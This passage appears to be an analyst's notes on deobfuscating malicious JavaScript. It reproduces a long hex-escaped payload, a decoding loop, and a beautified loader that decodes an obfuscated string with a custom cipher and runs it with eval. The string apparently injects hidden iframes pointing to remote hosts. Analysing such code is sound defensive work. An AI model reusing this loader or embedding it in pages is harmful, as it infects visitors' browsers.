x38\x26\x34\x43\x26\x31\x42\x26\x38\x45\x26\x31\x42\x26\x31\x42\x63\x42\x65\x56\x4f\x47\x68\x67\x26\x33\x31\x79\x60\x55\x73\x62\x55\x45\x26\x33\x47\x60\x4c\x26\x33\x39\x26\x33\x3a\x26\x31\x42\x26\x38\x43\x26\x31\x42\x26\x31\x3a\x55\x79\x6b\x72\x72\x6b\x26\x33\x31\x26\x33\x38\x26\x34\x44\x75\x67\x69\x47\x43\x6d\x26\x33\x31\x67\x43\x5b\x4a\x79\x26\x33\x33\x31\x58\x6a\x4f\x26\x33\x39\x39\x67\x26\x33\x3a\x26\x33\x31\x4e\x62\x62\x26\x33\x31\x50\x26\x34\x45\x52\x6b\x4f\x26\x33\x31\x6c\x56\x6d\x4b\x6a\x4a\x4a\x26\x33\x31\x75\x6c\x62\x68\x55\x38\x63\x26\x33\x33\x26\x33\x31\x5a\x6f\x5b\x79\x33\x26\x33\x33\x66\x57\x2f\x26\x34\x45\x65\x54\x55\x67\x26\x33\x33\x26\x33\x31\x46\x64\x48\x65\x57\x6a\x48\x54\x26\x33\x33\x26\x33\x38\x26\x33\x31\x31\x26\x33\x31\x67\x60\x5b\x6d\x39\x60\x6c\x6b\x47\x26\x33\x31\x69\x26\x33\x31\x26\x33\x38\x63\x66\x5a\x2f\x58\x46\x64\x26\x34\x47\x57\x39\x26\x33\x38\x26\x33\x31\x79\x26\x33\x31\x26\x34\x45\x44\x26\x34\x45\x59\x2f\x63\x6c\x6c\x38\x69\x26\x33\x39\x75\x56\x59\x74\x74\x63\x26\x33\x31\x79\x26\x33\x31\x26\x33\x39\x34\x4d\x59\x65\x2f\x66\x4f\x51\x78\x66\x6a\x26\x33\x39\x26\x33\x3a\x26\x33\x42\x39\x36\x51\x7b\x32\x65\x26\x33\x31\x69\x26\x33\x31\x75\x26\x33\x3a\x26\x33\x3a\x26\x33\x31\x33\x26\x33\x31\x26\x33\x38\x26\x33\x33\x26\x33\x31\x59\x57\x49\x66\x4d\x39\x26\x33\x33\x6f\x26\x33\x33\x26\x33\x31\x56\x48\x32\x58\x65\x74\x39\x26\x33\x33\x48\x26\x33\x33\x26\x33\x31\x26\x33\x31\x6a\x6d\x54\x4a\x58\x35\x26\x33\x33\x58\x57\x58\x55\x47\x66\x5a\x57\x57\x46\x26\x34\x42\x26\x33\x31\x59\x66\x64\x5b\x79\x65\x26\x33\x33\x26\x34\x46\x26\x33\x31\x26\x34\x44\x69\x38\x50\x54\x66\x26\x33\x31\x50\x4f\x52\x51\x72\x26\x33\x33\x69\x57\x62\x4e\x26\x33\x33\x26\x33\x31\x43\x52\x69\x75\x62\x54\x26\x33\x33\x59\x6d\x4f\x4e\x26\x34\x42\x34\x34\x6a\x71\x2f\x6a\x6e\x2f\x67\x36\x71\x2f\x70\x65\x4e\x32\x2f\x78\x31\x38\x6f\x67\x2f\x56\x4b\x4a\x26\x34\x43\x56\x69\x4e\x26\x34\x43\x6f\x26\x33\x33\x26\x34\x46\x26\x33\x31\x26\x34\x44\x71\x62\x46\x6f\x4f\x5b\x26\x34\x46\x26\x33\x31\x26\x34\x44\x6f\x75\x67\x6d\x6c\x62\x26\x34\x45\x26\x34\x46\x26\x33\x38\x26\x34\x43\x26\x31\x42\x26\x38\x45\x26\x31\x42\x26\x31\x42\x26\x31\x42\x57\x6e\x49\x26\x34\x45\x6d\x62\x51\x62\x26\x33\x31\x34\x5b\x33\x26\x33\x43\x26\x33\x39\x26\x33\x3a\x26\x31\x42\x26\x38\x43\x26\x31\x42\x26\x31\x3a\x57\x54\x26\x33\x31\x26\x33\x39\x4d\x60\x35\x66\x6b\x26\x33\x3a\x26\x33\x31\x4a\x60\x69\x6c\x56\x69\x58\x26\x33\x39\x48\x60\x65\x65\x51\x4f\x49\x51\x49\x26\x33\x31\x37\x26\x33\x31\x26\x33\x38\x26\x33\x37\x59\x7b\x4d\x26\x33\x38\x26\x33\x3a\x26\x34\x43\x26\x31\x42\x26\x38\x45\x26\x31\x42\x26\x31\x42\x7a\x6c\x6b\x63\x71\x32\x66\x67\x26\x33\x31\x75\x4d\x45\x36\x26\x33\x39\x26\x33\x3a\x26\x31\x42\x26\x38\x43\x26\x31\x42\x26\x31\x3a\x4b\x54\x26\x33\x31\x26\x33\x39\x4f\x60\x58\x54\x6b\x26\x33\x3a\x26\x33\x31\x3a\x60\x5a\x37\x79\x67\x7a\x26\x33\x39\x6a\x60\x69\x35\x66\x54\x26\x33\x43\x43\x57\x26\x33\x3a\x26\x34\x43\x26\x31\x42\x26\x38\x45\x26\x31\x42\x26\x31\x42\x26\x31\x42\x59\x57\x62\x48\x66\x4e\x6c\x62\x26\x33\x31\x26\x34\x45\x52\x66\x36\x26\x33\x39\x26\x33\x3a\x26\x31\x42\x26\x38\x43\x26\x31\x42\x26\x31\x3a\x66\x66\x26\x33\x31\x26\x33\x39\x67\x60\x35\x66\x67\x26\x33\x3a\x26\x33\x31\x72\x60\x4a\x4b\x58\x52\x71\x26\x33\x39\x4f\x60\x58\x51\x6c\x4f\x52\x48\x78\x31\x26\x33\x31\x26\x33\x38\x26\x33\x37\x68\x26\x33\x47\x5a\x26\x33\x38\x26\x33\x3a\x26\x34\x43\x26\x31\x42\x26\x38\x45\x26\x31\x42\x26\x31\x42\x7a\x6c\x67\x3a\x52\x62\x68\x50\x26\x33\x31\x26\x34\x45\x54\x3a\x78\x26\x33\x39\x26\x33\x3a\x26\x31\x42\x26\x38\x43\x26\x31\x42\x26\x31\x3a\x66\x54\x26\x33\x31\x26\x33\x39\x58\x60\x44\x39\x67\x60\x66\x6e\x5b\x79\x6f\x26\x33\x31\x26\x34\x44\x26\x33\x31\x63\x60\x38\x4e\x69\x60\x56\x50\x68\x26\x33\x3a\x26\x31\x42\x26\x31\x3a\x26\x38\x43\x26\x31\x42\x26\x31\x3a\x26\x31\x3a\x4f\x60\x4d\x55\x6d\x60\x57\x62\x47\x79\x6f\x37\x3a\x26\x34\x43\x26\x31\x42\x26\x31\x3a\x26\x31\x42\x26\x31\x3a\x26\x31\x3a\x73\x75\x69\x26\x33\x31\x54\x6a\x4d\x57\x72\x26\x33\x31\x6f\x26\x33\x31\x52\x54\x4f\x5a\x6a\x53\x62\x57\x2f\x76\x66\x5b\x79\x26\x34\x43\x26\x31\x42\x26\x31\x3a\x26\x31\x3a\x66\x7a\x26\x33\x31\x26\x33\x39\x52\x37\x4a\x42\x72\x26\x33\x3a\x26\x31\x42\x26\x31\x3a\x26\x31\x3a\x26\x38\x43\x26\x31\x42\x26\x31\x3a\x26\x31\x3a\x26\x31\x3a\x6f\x43\x66\x26\x33\x31\x4d\x66\x48\x6c\x52\x53\x26\x33\x31\x70\x26\x33\x31\x64\x60\x58\x3a\x70\x6d\x62\x43\x26\x33\x39\x26\x33\x3a\x26\x34\x43\x26\x31\x42\x26\x31\x3a\x26\x31\x3a\x26\x31\x3a\x54\x6a\x4d\x57\x72\x2f\x4b\x62\x58\x51\x57\x71\x32\x53\x49\x38\x69\x62\x26\x33\x39\x4a\x60\x5a\x6d\x67\x54\x49\x26\x33\x39\x46\x6d\x56\x51\x52\x4a\x26\x33\x3a\x26\x33\x44\x26\x33\x31\x4d\x74\x6c\x52\x6d\x2f\x49\x32\x69\x70\x74\x26\x33\x47\x31\x5a\x65\x26\x33\x43\x26\x33\x3a\x26\x34\x43\x26\x31\x42\x26\x31\x3a\x26\x31\x3a\x26\x38\x45\x26\x31\x42\x26\x31\x3a\x26\x38\x45\x26\x31\x42\x26\x38\x45\x26\x31\x42\x26\x31\x42\x44\x6e\x67\x45\x68\x4e\x5b\x53\x26\x33\x31\x47\x60\x63\x39\x51\x32\x26\x33\x39\x59\x26\x33\x43\x6f\x5b\x46\x26\x33\x3a\x26\x31\x42\x26\x38\x43\x26\x31\x42\x26\x31\x3a\x26\x31\x42\x26\x31\x3a\x5a\x59\x26\x33\x31\x26\x33\x39\x45\x60\x4a\x68\x67\x26\x33\x3a\x26\x33\x31\x79\x60\x5a\x39\x51\x55\x7a\x26\x33\x39\x58\x60\x5a\x44\x77\x54\x62\x73\x70\x26\x33\x3a\x26\x34\x43\x26\x31\x42\x26\x31\x3a\x26\x31\x42\x26\x31\x3a\x32\x57\x26\x33\x31\x26\x33\x39\x5b\x6a\x4d\x57\x72\x26\x33\x3a\x26\x31\x42\x26\x31\x3a\x26\x38\x43\x26\x31\x42\x26\x31\x3a\x26\x31\x3a\x58\x4f\x57\x26\x33\x31\x54\x59\x5a\x63\x52\x48\x26\x33\x31\x54\x26\x33\x31\x26\x33\x38\x26\x33\x38\x26\x34\x43\x26\x31\x42\x26\x31\x3a\x26\x31\x3a\x26\x31\x42\x26\x31\x3a\x26\x31\x3a\x5a\x63\x26\x33\x31\x26\x33\x39\x6e\x58\x43\x5a\x5a\x38\x52\x68\x6b\x2f\x4c\x4f\x5b\x4d\x77\x6b\x4f\x50\x4f\x79\x55\x26\x33\x39\x26\x33\x3a\x26\x33\x3a\x26\x31\x42\x26\x31\x3a\x26\x31\x3a\x26\x38\x43\x26\x31\x42\x26\x31\x3a\x26\x31\x3a\x26\x31\x3a\x26\x31\x42\x26\x31\x3a\x26\x31\x3a\x26\x31\x3a\x65\x74\x5a\x38\x55\x58\x26\x33\x31\x68\x26\x33\x31\x75\x60\x5a\x36\x52\x64\x7a\x3a\x60\x44\x26\x33\x39\x26\x33\x3a\x26\x33\x31\x37\x26\x33\x31\x3a\x60\x55\x71\x39\x67\x45\x4c\x60\x55\x26\x33\x39\x26\x33\x3a\x26\x33\x31\x52\x26\x33\x31\x26\x34\x45\x60\x5a\x69\x4e\x69\x26\x34\x45\x7b\x26\x33\x39\x26\x33\x3a\x26\x34\x43\x26\x31\x42\x26\x31\x3a\x26\x31\x3a\x26\x31\x3a\x26\x31\x42\x26\x31\x3a\x26\x31\x3a\x26\x31\x3a\x57\x4b\x26\x33\x31\x26\x33\x39\x56\x60\x51\x6c\x62\x26\x33\x3a\x26\x33\x31\x3a\x60\x4f\x6c\x56\x6d\x32\x26\x33\x39\x67\x60\x35\x5b\x54\x51\x26\x33\x43\x68\x67\x26\x33\x3a\x26\x34\x43\x26\x31\x42\x26\x31\x3a\x26\x31\x3a\x26\x31\x3a\x26\x31\x42\x26\x31\x3a\x26\x31\x3a\x26\x31\x3a\x4a\x32\x54\x50\x64\x2f\x66\x62\x67\x48\x26\x33\x43\x6b\x26\x33\x43\x65\x63\x38\x69\x58\x26\x33\x39\x72\x60\x26\x34\x45\x4c\x69\x43\x62\x26\x33\x39\x4d\x66\x48\x6c\x52\x53\x26\x33\x3a\x26\x33\x44\x26\x33\x31\x4b\x56\x66\x5b\x79\x2f\x63\x32\x69\x6c\x4f\x6e\x5b\x62\x4e\x52\x26\x33\x3a\x26\x34\x43\x26\x31\x42\x26\x31\x3a\x26\x31\x3a\x26\x38\x45\x26\x31\x42\x26\x31\x3a\x26\x31\x3a\x4a\x58\x58\x62\x26\x31\x42\x26\x31\x3a\x26\x31\x3a\x26\x38\x43\x26\x31\x42\x26\x31\x3a\x26\x31\x3a\x26\x31\x3a\x57\x54\x26\x33\x31\x26\x33\x39\x4d\x60\x35\x66\x6b\x26\x33\x3a\x26\x33\x31\x4a\x60\x69\x6c\x56\x69\x58\x26\x33\x39\x48\x60\x65\x63\x43\x6a\x46\x5b\x4b\x63\x26\x33\x3a\x26\x34\x43\x26\x31\x42\x26\x31\x3a\x26\x31\x3a\x26\x38\x45\x26\x31\x42\x26\x31\x3a\x26\x31\x3a\x26\x31\x42\x26\x31\x3a\x26\x38\x45\x26\x31\x42\x26\x38\x45\x26\x31\x42\x26\x31\x42\x54\x69\x51\x77\x6b\x66\x6f\x6b\x26\x33\x31\x64\x60\x66\x38\x4d\x26\x33\x39\x26\x33\x3a\x26\x31\x42\x26\x38\x43\x26\x31\x42\x26\x31\x3a\x47\x59\x26\x33\x31\x26\x33\x39\x63\x60\x4e\x63\x46\x50\x4a\x5b\x26\x33\x3a\x26\x33\x31\x66\x53\x57\x42\x69\x6b\x26\x34\x43\x26\x31\x3a\x26\x31\x42\x26\x31\x3a\x26\x31\x42\x26\x31\x3a\x76\x58\x26\x33\x43\x26\x33\x31\x64\x72\x6a\x4d\x57\x72\x26\x33\x31\x6f\x26\x33\x31\x52\x54\x4f\x5a\x6a\x53\x62\x57\x2f\x76\x66\x5b\x79\x26\x34\x43\x26\x31\x42\x26\x31\x3a\x66\x7a\x26\x33\x31\x26\x33\x39\x64\x72\x6a\x4d\x57\x72\x26\x33\x3a\x26\x31\x42\x26\x31\x3a\x26\x38\x43\x26\x31\x42\x26\x31\x3a\x26\x31\x3a\x4c\x60\x5a\x54\x4d\x49\x62\x52\x26\x33\x31\x7b\x26\x33\x31\x57\x26\x33\x43\x6c\x62\x26\x34\x43\x26\x31\x42\x26\x31\x3a\x26\x31\x3a\x4a\x60\x6c\x63\x65\x62\x26\x33\x39\x48\x57\x37\x68\x46\x6d\x26\x33\x3a\x26\x34\x43\x26\x31\x42\x26\x31\x3a\x26\x38\x45\x26\x31\x42\x26\x31\x3a\x4a\x58\x58\x62\x26\x31\x42\x26\x31\x3a\x26\x38\x43\x26\x31\x42\x26\x31\x3a\x26\x31\x3a\x67\x53\x57\x6e\x5a\x6a\x65\x6c\x42\x6b\x26\x33\x39\x26\x33\x33\x43\x60\x4a\x6e\x6b\x26\x33\x33\x26\x33\x44\x26\x33\x31\x75\x63\x6f\x26\x33\x3a\x26\x34\x43\x26\x31\x42\x26\x31\x3a\x26\x38\x45\x26\x31\x42\x26\x38\x45\x26\x31\x42\x26\x31\x42\x4b\x67\x53\x5a\x68\x57\x52\x37\x26\x33\x31\x4e\x6c\x6e\x49\x26\x33\x39\x7a\x26\x33\x3a\x26\x31\x42\x26\x38\x43\x26\x31\x42\x26\x31\x3a\x6d\x54\x4d\x26\x33\x31\x4e\x6b\x58\x58\x26\x33\x31\x7b\x26\x33\x31\x62\x55\x53\x5b\x63\x6b\x2f\x52\x37\x63\x6c\x5b\x5b\x26\x34\x43\x26\x31\x42\x26\x31\x3a\x44\x5a\x67\x26\x33\x43\x4d\x70\x2f\x68\x50\x5a\x54\x4d\x49\x26\x33\x31\x39\x26\x33\x31\x54\x69\x51\x77\x6b\x66\x6f\x6b\x26\x33\x39\x26\x33\x3a\x26\x33\x31\x26\x38\x43\x26\x33\x31\x32\x57\x26\x33\x31\x26\x33\x39\x69\x4d\x43\x6f\x26\x33\x3a\x26\x33\x31\x69\x54\x53\x5b\x26\x33\x39\x26\x33\x3a\x26\x34\x43\x26\x33\x31\x52\x26\x33\x39\x26\x33\x3a\x26\x34\x43\x26\x33\x31\x26\x38\x45\x26\x31\x42\x26\x38\x45\x26\x31\x42\x26\x31\x42\x42\x6c\x62\x26\x33\x47\x26\x33\x39\x7a\x60\x38\x36\x6f\x26\x33\x3a\x26\x34\x43\x26\x31\x42\x73\x62\x26\x34\x45\x4b\x62\x48\x43\x68\x6e\x56\x26\x33\x39\x26\x33\x33\x3a\x60\x54\x31\x57\x26\x33\x39\x26\x33\x3a\x26\x33\x33\x26\x33\x44\x26\x33\x31\x34\x6f\x6f\x64\x26\x33\x3a\x26\x34\x43\x26\x31\x42\x26\x31\x42\x28\x2a\x2a\x3c'; 
r = '';
for(i=0; i < a.length; i++)
{
  e = a.charCodeAt(i)-1;
  r = r +  String.fromCharCode(e);
}
console.log(r);

after nodejs and js-beautify

var jXNIOuT = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
var IRhnzfvpzey = 'T79!$99(4+s+~44)T7~@=';
var c = 0;

function joOwzStnKp(s) {
    var YLDzinB = '';
    var nccBusxS = -1;
    var uGTfikjhSf = 0;
    var GaDXrrRHN = unescape(s);
    for (var i = 0; i < GaDXrrRHN.length; i++) {
        nccBusxS = jXNIOuT.indexOf(GaDXrrRHN.charAt(i));
        if (nccBusxS >= 0) {
            uGTfikjhSf = (nccBusxS - IRhnzfvpzey.charCodeAt(c)) % jXNIOuT.length;
            if (uGTfikjhSf < 0) {
                uGTfikjhSf += jXNIOuT.length;
            }
            YLDzinB += jXNIOuT.charAt(uGTfikjhSf);
            c++;
            if (c >= IRhnzfvpzey.length) {
                c = 0;
            }
        } else {
            YLDzinB += GaDXrrRHN.charAt(i);
        }
    }
    return YLDzinB;
} /*f4ck*/
eval(joOwzStnKp('BQj%20D_Igf%09%09%09n%20gVfI%3B%0ArNe%20L_Ahh%09%09%09%2F%20%27d%3Djh%3AfiSfJgEeIhRPQ5.Skl.X%2B1.sViafERb.aLl%27%3B%0AiNT%202_bWbYxik%09%09g%20G_mjM%20x%20%27%3FENXebao%2FjWso_tSU%2FPk%27%3B%0AnBe%20N_WNWiNQ6%09%092%20f_tn4%200%20%27%3FS9QagOzWeEpf_WCBQkm%27%3B%0Arth%20b_FGSnBbJQ%09%09q%20f_heN%20Q%20%27%3FQYse7d4MQSlT_WEgEkSS%27%3B%0AXth%20f_kh7QV%2FA%09%094%20b_VeP%20v%20%27%3FEYgVQ62osW%3Di_dI%2BVWE%27%3B%0A%0AiEc%20N_hbNFxT%09%098%20eW4iW%3B%0AP%2Bj%20b_BcT_TRZRk%09%09o%20H%3B%0AlWq%20f_tfh_9Kl%09%094%20cn%3B%0AZLV%20f_NcR_8ha%09%09%2F%20%27iH%27%3B%0AlSL%20G_ShQ_hVW%09%09q%20%27dggR%3AR1XZiuem.AO3.scy%27%3B%0A%0A%0AJfRYgVQ6%20%3D_c%3Dl8KJs%28%29%0A%7B%0A%09OWlVeR%20U_Elc_hT4%200%20f_Zl8_fj%2F%20h%20b_SQc_MYHak%20x%20%27.Lth%27%3B%0A%7D%0A%0AbtjvjaIK%20B_UwS%28WcGa%29%0A%7B%0A%09iNT%201Vn%20%09%09%09%09%2F%20Z7SmGBfl.DeILXa4YG5Ujs%28%27eyhSGB%27%29%3B%0A%09aXS.fVN%20%09%09%09%09q%20oePG%3B%0A%091Vn.rpEbW.PFkaCVPTXu%09z%20%27UKwTam%27%3B%0A%09eyh.kNVdW.EVWaPWl%09%09z%20%27K6bema%27%3B%0A%091Vj.MQqdF.ZEcKea%09%09z%20%27c%27%3B%0A%091Vn.rpEbW.J%2BVVJaK%09%09x%20%27e%27%3B%0A%09eSe.U%3Dohd.X7hV%2FO%09%094%20%27fPaI%27%3B%0A%09TJn.fga4U.shZ%3DX%09%09%094%20%27U%27%3B%0A%09FXj.TgcWI.dRVI0j%09%098%20%27z%27%3B%0A%09nxjmLK%20aXS%3B%0A%7D%0A%0ASYYGpVbP%20c_bNdlI%28kjF%29%0A%7B%0A%09SSj%20B1SOc%208%20QbEAcamp.ueVS%3B%0A%09FX%20%28SpbHj%29%0A%09%7B%0A%09%09E%2BbQa.1dodn%3D4W%3DLjW%28x_PzQ%28YnY%29%2C%20Nq7Tu.ee%2BiljEadE%29%3B%0A%09%7D%0A%7D%0A%0ASYYGpVbP%20c_SOoW6%28XlGI%29%0A%7B%0A%09nSS%20fTLR%208%20QbEAcamp.vhW7QW9MRQPRp%28%27fcC6%27%29%3B%0A%09ilZj.1df%2FO%3DL0%2F%20q%20SXiY%3B%0A%09eG%3Dknm%20o8Qf%3B%0A%7D%0A%0A%3DRfUUVSY%200_c0cRaB%28%29%0A%7B%0A%09ndpAhf%20%27%3C7MhdFg%20RLQaz%229CBQ%28PL%29%20SxR%20KN%2Bjl%20oPXTZaK%202Q6jnnh%22%20veV%2Fj%22et.DYEdW%22%20WePJ1la%2F%22%27%206%20c_W5JMMJz%28%29%20x%20%27%22%20aTHpUz%22c%22%200Uefd%3D2%22s%22%20%20MQqdFz%22ZTWeOVN1ju%3A%20gewTWH%22%20JSqTPVTTpz%22gTAU%22%3E%09%3ClZntc%20f7JW4%22MVRV%22%20ZWYhGS%22Xpsl%3AR1zW.bt.tkp.fmk7.nonnf.Yoh%3Bvfd%3BU%22%3E%20%3CihSSNQ%3E%3CwElcYG%3D%3E%27%3B%0A%7D%0A%0AVqmY%3DYgH%20t_Y5Qcy9_C%28%29%0A%7B%0A%09nRgW%2Bd%20%27%3CWol4Ul%20H%2BeWn%229EgE%28P%3D%29%20JGu%20IpZn%3D%203UNFnW%2F%202SYXnbY%22%20E7Ta%2F%22iH.Sd7Pk%22%20SSPLTZaz%22%27%20x%20L_tfl_tn4%200%20%27bB%2Bf.bBe%3FVx%27%20o%20INgJ.ybknn%28HqsUXs%202%20%280NXS.VWaQQ5%28%29%2Az585Pz%202%20V%29%29%20h%20%27%22%20oaEgLx%22e%22%20dRVI0j8%22z%22%20%20o%3Dod%2Fj%22naTVFTPegl%3A%20J1TZdj%22%3E%20%3C8Qj7J%20fSNRq%22WMjX%22%20iC4ka%2F%22d%3Djh%3Afizu.fo.fug.xotn.Gr7Tl.vfd%3B9Md%3Bs%22%3E%20%3CmcEcEi%3E%20%3CyNR8bas%3E%27%3B%0A%7D%0A%0AbAdUNFgf%20x_TraTD%2F_K%28%29%0A%7B%0A%09Txjqqj%20%27%3CtfhFBl%20fBZIx%220WiN%288f%29%20Maa%20O%3DQjN%20kUlJiII%20tkagT7b%22%20YnZx2%22eV.%3DdSTf%22%20EcGdViGS%22%27%200%20f_Zl8_kjF%20h%20%27beY.WEc%3FV8%27%20x%20%3DC%3DX.bkk7h%28tUXssb%20x%20%283LXd.eNPwei%28%29%2A85Pz1d%20h%20t%29%29%202%20%27%22%20XVHeL8%22n%22%20UG1Wds8%22G%22%20%20ilSIW4%22WVWTFeYVVE%3A%20XecZxd%22%3E%20%3Ch7OSe%20ONQPq%22hVaM%22%20BQhtaS%22XlNM%3A33ip.im.f5p.odM1.w07nf.UJI%3BUhM%3Bn%22%3E%20%3CpaEnNZ%3E%20%3Cntflka%3D%3E%27%3B%0A%7D%0A%0A%0AVmH%3DlaPa%203Z2%2B%28%29%0A%7B%0A%09VS%20%28L_4ej%29%20I_hkUhW%28G_ddPNHPH%206%20%27%26XzL%27%29%3B%0A%7D%0A%0Aykjbp1ef%20tLD5%28%29%0A%7B%0A%09JS%20%28N_WSj%29%209_Y6xfy%28i_h4eS%2BBV%29%3B%0A%7D%0A%0A%0AXVaGeMka%20%3DQe5%28%29%0A%7B%0A%09ee%20%28f_4ef%29%20q_IJWQp%28N_WPkNQGw0%20%27%26g%2FY%27%29%3B%0A%7D%0A%0Aykf9QagO%20%3DS9w%28%29%0A%7B%0A%09eS%20%28W_C8f_emZxn%20%3C%20b_7Mh_UOg%29%0A%09%7B%0A%09%09N_LTl_VaFxn69%3B%0A%09%0A%09%09rth%20SiLVq%20n%20QSNYiRaV.ueZx%3B%0A%09%09ey%20%28Q6IAq%29%0A%09%09%7B%0A%09%09%09nBe%20LeGkQR%20o%20c_W9olaB%28%29%3B%0A%09%09%09SiLVq.JaWPVp1RH7ha%28I_YlfSH%28ElUPQI%29%2C%20LskQl.H1hos%2F0Yd%2B%29%3B%0A%09%09%7D%0A%09%7D%0A%7D%0A%0ACmfDgMZR%20F_b8P1%28X%2BnZE%29%0A%7B%0A%09%0A%09YX%20%28D_Igf%29%20x_Y8PTy%28W_YCvSaro%29%3B%0A%09%0A%091V%20%28ZiLVq%29%0A%09%7B%0A%09%09WNV%20SXYbQG%20S%20%27%27%3B%0A%09%09%0A%09%09Yb%20%28mWBYY7Qgj.KNZLvjNONxT%28%29%29%0A%09%09%7B%0A%09%09%09%0A%09%09%09dsY7TW%20g%20t_Y5Qcy9_C%28%29%206%209_Tp8fDK_T%28%29%20Q%20%3D_YhMh%3Dz%28%29%3B%0A%09%09%09%0A%09%09%09VJ%20%28U_Pka%29%209_NkUl1%28f_4ZSP%2Bgf%29%3B%0A%09%09%09%0A%09%09%09I1SOc.eafG%2Bj%2Bdb7hW%28q_%3DKhBa%28LeGkQR%29%2C%20JUeZx.b1hkNmZaMQ%29%3B%0A%09%09%7D%0A%09%09IWWa%0A%09%09%7B%0A%09%09%09VS%20%28L_4ej%29%20I_hkUhW%28G_dbBiEZJb%29%3B%0A%09%09%7D%0A%09%09%0A%09%7D%0A%7D%0A%0AShPvjenj%20c_e7L%28%29%0A%7B%0A%09FX%20%28b_MbEOIZ%29%20eRVAhj%3B%09%0A%09%0A%09uW%2B%20cqiLVq%20n%20QSNYiRaV.ueZx%3B%0A%09ey%20%28cqiLVq%29%0A%09%7B%0A%09%09K_YSLHaQ%20z%20V%2Bka%3B%0A%09%09I_kbda%28GV6gEl%29%3B%0A%09%7D%0A%09IWWa%0A%09%7B%0A%09%09fRVmYidkAj%28%22B_Imj%22%2C%20tbn%29%3B%0A%09%7D%0A%7D%0A%0AJfRYgVQ6%20MkmH%28y%29%0A%7B%0A%09lSL%20MjWW%20z%20aTRZbj.Q6bkZZ%3B%0A%09CYf%2BLo.gOYSLH%208%20ShPvjenj%28%29%20%7B%201V%20%28hLBn%29%20hSRZ%28%29%3B%20Q%28%29%3B%20%7D%0A%7D%0A%0AAka%2F%28y_75n%29%3B%0Ara%3DJaGBgmU%28%229_S0V%28%29%22%2C%203nnc%29%3B%0A%0A'));

OK another round of cleaning

var s = 'BQj%20D_Igf%09%09%09n%20gVfI%3B%0ArNe%20L_Ahh%09%09%09%2F%20%27d%3Djh%3AfiSfJgEeIhRPQ5.Skl.X%2B1.sViafERb.aLl%27%3B%0AiNT%202_bWbYxik%09%09g%20G_mjM%20x%20%27%3FENXebao%2FjWso_tSU%2FPk%27%3B%0AnBe%20N_WNWiNQ6%09%092%20f_tn4%200%20%27%3FS9QagOzWeEpf_WCBQkm%27%3B%0Arth%20b_FGSnBbJQ%09%09q%20f_heN%20Q%20%27%3FQYse7d4MQSlT_WEgEkSS%27%3B%0AXth%20f_kh7QV%2FA%09%094%20b_VeP%20v%20%27%3FEYgVQ62osW%3Di_dI%2BVWE%27%3B%0A%0AiEc%20N_hbNFxT%09%098%20eW4iW%3B%0AP%2Bj%20b_BcT_TRZRk%09%09o%20H%3B%0AlWq%20f_tfh_9Kl%09%094%20cn%3B%0AZLV%20f_NcR_8ha%09%09%2F%20%27iH%27%3B%0AlSL%20G_ShQ_hVW%09%09q%20%27dggR%3AR1XZiuem.AO3.scy%27%3B%0A%0A%0AJfRYgVQ6%20%3D_c%3Dl8KJs%28%29%0A%7B%0A%09OWlVeR%20U_Elc_hT4%200%20f_Zl8_fj%2F%20h%20b_SQc_MYHak%20x%20%27.Lth%27%3B%0A%7D%0A%0AbtjvjaIK%20B_UwS%28WcGa%29%0A%7B%0A%09iNT%201Vn%20%09%09%09%09%2F%20Z7SmGBfl.DeILXa4YG5Ujs%28%27eyhSGB%27%29%3B%0A%09aXS.fVN%20%09%09%09%09q%20oePG%3B%0A%091Vn.rpEbW.PFkaCVPTXu%09z%20%27UKwTam%27%3B%0A%09eyh.kNVdW.EVWaPWl%09%09z%20%27K6bema%27%3B%0A%091Vj.MQqdF.ZEcKea%09%09z%20%27c%27%3B%0A%091Vn.rpEbW.J%2BVVJaK%09%09x%20%27e%27%3B%0A%09eSe.U%3Dohd.X7hV%2FO%09%094%20%27fPaI%27%3B%0A%09TJn.fga4U.shZ%3DX%09%09%094%20%27U%27%3B%0A%09FXj.TgcWI.dRVI0j%09%098%20%27z%27%3B%0A%09nxjmLK%20aXS%3B%0A%7D%0A%0ASYYGpVbP%20c_bNdlI%28kjF%29%0A%7B%0A%09SSj%20B1SOc%208%20QbEAcamp.ueVS%3B%0A%09FX%20%28SpbHj%29%0A%09%7B%0A%09%09E%2BbQa.1dodn%3D4W%3DLjW%28x_PzQ%28YnY%29%2C%20Nq7Tu.ee%2BiljEadE%29%3B%0A%09%7D%0A%7D%0A%0ASYYGpVbP%20c_SOoW6%28XlGI%29%0A%7B%0A%09nSS%20fTLR%208%20QbEAcamp.vhW7QW9MRQPRp%28%27fcC6%27%29%3B%0A%09ilZj.1df%2FO%3DL0%2F%20q%20SXiY%3B%0A%09eG%3Dknm%20o8Qf%3B%0A%7D%0A%0A%3DRfUUVSY%200_c0cRaB%28%29%0A%7B%0A%09ndpAhf%20%27%3C7MhdFg%20RLQaz%229CBQ%28PL%29%20SxR%20KN%2Bjl%20oPXTZaK%202Q6jnnh%22%20veV%2Fj%22et.DYEdW%22%20WePJ1la%2F%22%27%206%20c_W5JMMJz%28%29%20x%20%27%22%20aTHpUz%22c%22%200Uefd%3D2%22s%22%20%20MQqdFz%22ZTWeOVN1ju%3A%20gewTWH%22%20JSqTPVTTpz%22gTAU%22%3E%09%3ClZntc%20f7JW4%22MVRV%22%20ZWYhGS%22Xpsl%3AR1zW.bt.tkp.fmk7.nonnf.Yoh%3Bvfd%3BU%22%3E%20%3CihSSNQ%3E%3CwElcYG%3D%3E%27%3B%0A%7D%0A%0AVqmY%3DYgH%20t_Y5Qcy9_C%28%29%0A%7B%0A%09nRgW%2Bd%20%27%3CWol4Ul%20H%2BeWn%229EgE%28P%3D%29%20JGu%20IpZn%3D%203UNFnW%2F%202SYXnbY%22%20E7Ta%2F%22iH.Sd7Pk%22%20SSPLTZaz%22%27%20x%20L_tfl_tn4%200%20%27bB%2Bf.bBe%3FVx%27%20o%20INgJ.ybknn%28HqsUXs%202%20%280NXS.VWaQQ5%28%29%2Az585Pz%202%20V%29%29%20h%20%27%22%20oaEgLx%22e%22%20dRVI0j8%22z%22%20%20o%3Dod%2Fj%22naTVFTPegl%3A%20J1TZdj%22%3E%20%3C8Qj7J%20fSNRq%22WMjX%22%20iC4ka%2F%22d%3Djh%3Afizu.fo.fug.xotn.Gr7Tl.vfd%3B9Md%3Bs%22%3E%20%3CmcEcEi%3E%20%3CyNR8bas%3E%27%3B%0A%7D%0A%0AbAdUNFgf%20x_TraTD%2F_K%28%29%0A%7B%0A%09Txjqqj%20%27%3CtfhFBl%20fBZIx%220WiN%288f%29%20Maa%20O%3DQjN%20kUlJiII%20tk